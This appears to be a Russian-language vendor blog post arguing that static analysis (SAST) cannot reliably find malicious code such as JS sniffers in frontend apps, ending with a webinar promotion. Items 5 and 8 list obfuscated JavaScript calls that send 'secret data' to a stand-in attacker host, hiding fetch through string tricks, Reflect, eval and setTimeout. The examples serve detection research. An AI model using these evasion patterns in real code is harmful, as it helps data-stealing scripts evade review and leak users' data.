Может ли SAST обнаружить вредоносный код?
Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.
1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.
2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).
3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍
4️⃣ Попробуем написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?
5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?
fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');
window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');
this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');
this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');
globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');
Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');
6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.
7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение .
8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.
eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");
await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');
setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);
9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).
1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁
Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача https://dpa-analytics.ru/dpa-frontend-application-security-testing-fast-analyzer, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.
Завтра (12.11.2025) в 11:00 МСК на https://dpa-analytics.ru/webinar?utm_source=FrontSecOps&utm_medium=28.10.25_post&utm_campaign=12.11.2025_FAST_announce обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️
https://dpa-analytics.ru/webinar?utm_source=FrontSecOps&utm_medium=28.10.25_post&utm_campaign=12.11.2025_FAST_announce